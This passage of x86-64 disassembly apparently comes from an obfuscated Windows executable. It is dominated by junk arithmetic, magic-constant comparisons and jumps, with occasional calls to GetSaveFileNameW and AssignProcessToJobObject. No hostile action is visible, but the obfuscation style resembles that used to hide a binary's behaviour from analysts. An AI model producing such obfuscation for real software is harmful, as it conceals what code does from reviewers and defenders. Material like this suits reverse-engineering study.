mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x84c], ax
mov rax, qword [0x140114158]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140113004], ax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x4b80]
movzx ecx, al
mov rax, qword [rsp + 0x4b78]
shl rax, cl
mov qword [rsp + 0x4cb8], rax
mov rax, qword [rsp + 0x4bb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a3c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x29f0], eax
mov rax, qword [rsp + 0x4ce8]
movzx ecx, al
mov rax, qword [rsp + 0x4c00]
shr rax, cl
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4b40]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2a5c], eax
movsx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x36]
mov rcx, qword [rsp + 0x4cc0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x33], al
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x85c]
sub eax, ecx
mov rcx, qword [rsp + 0x4c78]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4ba0]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x140113008], rax
movzx eax, word [rsp + 0x854]
movzx ecx, word [rsp + 0x848]
sub eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [0x140114160]
mov rcx, qword [rsp + 0x4cb8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4da0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a5c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ba0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x32]
movsx ecx, byte [rsp + 0x30]
xor eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2a40]
sub eax, 0xcd
mov dword [rsp + 0x2a40], eax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x850]
sar eax, cl
mov rcx, qword [rsp + 0x4bc8]
mov word [rcx], ax
movsx eax, word [rsp + 0x84c]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2a20]
shl eax, cl
mov dword [0x140114150], eax
jmp 0x14000890e
movzx eax, word [rsp + 0x848]
mov dword [rsp + 0x2ad4], eax
cmp dword [rsp + 0x2ad4], 0xe2e
je 0x140008be8
jmp 0x140008c62
mov rax, qword [rsp + 0x4cd0]
mov qword [rsp + 0x4db0], rax
movabs rax, 0x78a6aba4bb373d
cmp qword [rsp + 0x4db0], rax
je 0x140008c10
jmp 0x140008c41
lea rcx, [rsp + 0x17050]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x297c], eax
mov rax, qword [rsp + 0x4c70]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x4b68]
movzx ecx, word [rax]
call fcn.1400fa6b0
nop
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a20]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a4c], eax
jmp 0x1400f8532
mov rax, qword [rsp + 0x4cd0]
mov qword [rsp + 0x4db8], rax
cmp dword [rsp + 0x2a04], 0x1473
jb 0x140008fad
mov rax, qword [rsp + 0x4d60]
mov rcx, qword [rsp + 0x4b40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4da0]
mov rcx, qword [rsp + 0x4b78]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b80], rax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35]
sub eax, ecx
mov byte [rsp + 0x33], al
movsx eax, word [rsp + 0x840]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33]
add eax, ecx
mov byte [rsp + 0x34], al
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
mov eax, dword [rsp + 0x2a04]
sub eax, 0x50
mov dword [rsp + 0x2a04], eax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [section..data]
add eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4d60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a5c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x29d8], eax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4d68]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4b28], rax
mov eax, dword [rsp + 0x29f0]
movzx ecx, al
mov eax, dword [rsp + 0x29bc]
shl eax, cl
mov dword [rsp + 0x2a20], eax
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4c90]
mov qword [rsp + 0x4dc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4dc0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4b80], rax
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
or eax, ecx
mov word [rsp + 0x854], ax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x854]
sub eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
movsx eax, word [rsp + 0x84c]
movsx ecx, word [rsp + 0x850]
sub eax, ecx
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [rsp + 0x4b80]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4b90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4bd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x29f0], eax
mov eax, dword [rsp + 0x2a98]
mov ecx, dword [rsp + 0x2a88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x36]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
movsx eax, word [rsp + 0x858]
movsx ecx, word [rsp + 0x84c]
add eax, ecx
mov word [rsp + 0x850], ax
mov rax, qword [rsp + 0x4cd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x30]
add eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
xor eax, ecx
mov rcx, qword [rsp + 0x4c78]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x140113004], ax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4ce8], rax
jmp 0x140008c72
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4b78]
sar rax, cl
mov qword [rsp + 0x4cb8], rax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [0x140114160]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4da0]
mov rdx, qword [rsp + 0x4bf8]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jg 0x1400f8429
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov dword [rsp + 0x2ad8], eax
cmp dword [rsp + 0x2ad8], 0
je 0x1400090cf
cmp dword [rsp + 0x2ad8], 0x1a57
je 0x140009033
jmp 0x1400f82ee
mov eax, dword [rsp + 0x2a88]
mov ecx, dword [rsp + 0x2958]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2a5c]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x1400090ae
mov rax, qword [rsp + 0x4d60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x85c], ax
mov rax, qword [rsp + 0x4c98]
movzx ecx, word [rax]
call fcn.1400fa180
nop
mov rax, qword [rsp + 0x4cd8]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x4b68]
movzx ecx, word [rax]
call fcn.1400fa6b0
nop
jmp 0x1400f82ee
mov rax, qword [rsp + 0x4b70]
movzx eax, word [rax]
mov word [rsp + 0x860], ax
movsx eax, byte [rsp + 0x30]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x39], al
cmp dword [rsp + 0x2a78], 0xbcb
jae 0x1400096c9
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x30]
shl eax, cl
mov byte [rsp + 0x32], al
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
xor eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4da0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4ba0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4ce8], rax
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x4d60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a20]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x38]
movsx ecx, byte [rsp + 0x30]
sub eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x33]
mov rcx, qword [rsp + 0x4cc0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x36], al
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x85c], ax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
movsx ecx, word [0x140113004]
sub eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
mov rax, qword [rsp + 0x4da0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b80]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4b90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4c00]
shl rax, cl
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4d78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b88]
mov qword [rsp + 0x4dc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4dc8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2a3c], eax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a98]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
and eax, ecx
mov word [rsp + 0x85c], ax
movsx eax, word [rsp + 0x850]
mov rcx, qword [0x140114158]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
movzx eax, byte [rsp + 0x31]
movzx ecx, byte [rsp + 0x34]
add eax, ecx
mov byte [rsp + 0x36], al
movsx eax, word [rsp + 0x858]
movsx ecx, word [rsp + 0x84c]
sub eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
movsx eax, word [rsp + 0x858]
movsx ecx, word [rsp + 0x850]
sub eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x4da0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4bf8], rax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4b90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4d78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x29bc], eax
mov eax, dword [rsp + 0x29d8]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
xor eax, ecx
mov word [rsp + 0x848], ax
movsx eax, byte [rsp + 0x30]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
movzx eax, word [rsp + 0x854]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
movsx eax, word [rsp + 0x850]
movsx ecx, word [rsp + 0x840]
sar eax, cl
mov word [0x140113004], ax
movzx eax, byte [rsp + 0x34]
movzx ecx, byte [rsp + 0x33]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [rsp + 0x4bf8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b80], rax
mov eax, dword [rsp + 0x2a78]
add eax, 0x4a
mov dword [rsp + 0x2a78], eax
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x29f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a3c], eax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4b90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x38]
movsx ecx, byte [rsp + 0x32]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
movzx eax, word [rsp + 0x85c]
movzx ecx, word [rsp + 0x848]
sub eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
mov rcx, qword [0x140114158]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x840]
sub eax, ecx
mov word [0x140113004], ax
movzx eax, byte [rsp + 0x36]
movzx ecx, byte [rsp + 0x33]
and eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2a4c], eax
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x4b90]
mov qword [rsp + 0x4dd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4dd0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4b28], rax
mov eax, dword [rsp + 0x2980]
movzx ecx, al
mov eax, dword [rsp + 0x2958]
shl eax, cl
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x4c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4cb8], rax
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x85c], ax
movsx eax, word [rsp + 0x860]
movsx ecx, word [rsp + 0x84c]
sub eax, ecx
mov word [rsp + 0x840], ax
movzx eax, byte [rsp + 0x34]
mov rcx, qword [rsp + 0x4cc0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x33], al
mov rax, qword [0x140114158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x858]
add eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
movsx eax, word [rsp + 0x84c]
movsx ecx, word [rsp + 0x840]
sub eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4b90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
jmp 0x1400090f8
movsx eax, word [rsp + 0x860]
mov dword [rsp + 0x2adc], eax
cmp dword [rsp + 0x2adc], 0
je 0x1400096f4
cmp dword [rsp + 0x2adc], 0x28f
je 0x140009754
jmp 0x1400097b9
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4d58]
mov dword [rcx], eax
lea rax, [rsp + 0x2958]
mov qword [rsp + 0x4dd8], rax
mov rax, qword [rsp + 0x4cb8]
mov rcx, qword [rsp + 0x4b78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b80], rax
lea rax, [rsp + 0x85c]
mov qword [rsp + 0x4de0], rax
jmp 0x1400097b9
mov rdx, qword [rsp + 0x4de8]
mov rcx, qword [rsp + 0x4d48]
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x2970], eax
movzx eax, byte [rsp + 0x31]
movzx ecx, byte [rsp + 0x36]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
movzx eax, word [rsp + 0x848]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x85c], ax
lea rcx, [rsp + 0x17050]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x2998], eax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39]
add eax, ecx
mov byte [0x140113002], al
movsx eax, word [0x140113004]
movsx ecx, word [rsp + 0x858]
or eax, ecx
mov word [rsp + 0x850], ax
movzx eax, byte [rsp + 0x33]
mov rcx, qword [rsp + 0x4cc0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x4b40]
mov ecx, dword [rsp + 0x2a98]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [rsp + 0x4c90]
mov qword [rsp + 0x4df0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4df0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4da0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a3c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38]
add eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
and eax, ecx
mov word [rsp + 0x848], ax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [0x140113002]
sub eax, ecx
mov byte [rsp + 0x37], al
mov rax, qword [rsp + 0x4cd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x32]
sub eax, ecx
mov byte [rsp + 0x37], al
mov rax, qword [rsp + 0x4c90]
mov rcx, qword [rsp + 0x4c58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4cb8], rax
mov rax, qword [rsp + 0x4d58]
mov ecx, dword [rsp + 0x2a4c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29bc], eax
mov rax, qword [rsp + 0x4b28]
mov rcx, qword [rsp + 0x4db8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4bd0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2980]
mov rcx, qword [rsp + 0x4d60]
mov qword [rsp + 0x4df8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4df8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4d60]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2acc]
sub eax, 0xa2
mov dword [rsp + 0x2acc], eax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x840], ax
movzx eax, byte [rsp + 0x35]
mov rcx, qword [rsp + 0x4cc0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4de0]
movzx ecx, word [rcx]
and eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37]
add eax, ecx
mov byte [rsp + 0x39], al
movzx eax, byte [rsp + 0x35]
mov rcx, qword [rsp + 0x4cc0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x36], al
mov rax, qword [rsp + 0x4db8]
mov rcx, qword [rsp + 0x4c00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ba0], rax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2958], eax
mov rax, qword [rsp + 0x4d58]
mov ecx, dword [rsp + 0x2a20]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4bb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x31]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
cmp dword [rsp + 0x2acc], 0xaf94
jae 0x1400097ea
mov rax, qword [rsp + 0x4cd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
movsx eax, byte [rsp + 0x39]
movsx ecx, byte [rsp + 0x37]
add eax, ecx
movsx ecx, byte [rsp + 0x32]
movsx edx, byte [rsp + 0x38]
or ecx, edx
cmp eax, ecx
je 0x140009b36
mov rax, qword [rsp + 0x4c70]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x4bc0]
movzx ecx, word [rax]
call fcn.1400fa6b0
nop
jmp 0x140009bdd
movzx eax, word [rsp + 0x85c]
mov word [rsp + 0x864], ax
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x140113010], ax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
lea rax, [rsp + 0x31]
mov qword [rsp + 0x4e00], rax
mov rax, qword [rsp + 0x4b78]
mov qword [rsp + 0x4e08], rax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2a98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29f0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4db8]
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ba0], rax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4de0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x844], ax
movsx eax, byte [rsp + 0x39]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x850]
and eax, ecx
mov word [0x140113004], ax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x85c], ax
mov rax, qword [rsp + 0x4e00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x36]
add eax, ecx
mov rcx, qword [rsp + 0x4e00]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4c00]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4bd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e08]
mov rcx, qword [rsp + 0x4cb8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2980]
shl eax, cl
mov dword [rsp + 0x2a98], eax
mov eax, dword [rsp + 0x2a20]
movzx ecx, al
mov eax, dword [rsp + 0x2a4c]
sar eax, cl
mov dword [rsp + 0x29bc], eax
movsx eax, word [rsp + 0x850]
movsx ecx, word [rsp + 0x858]
or eax, ecx
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
and eax, ecx
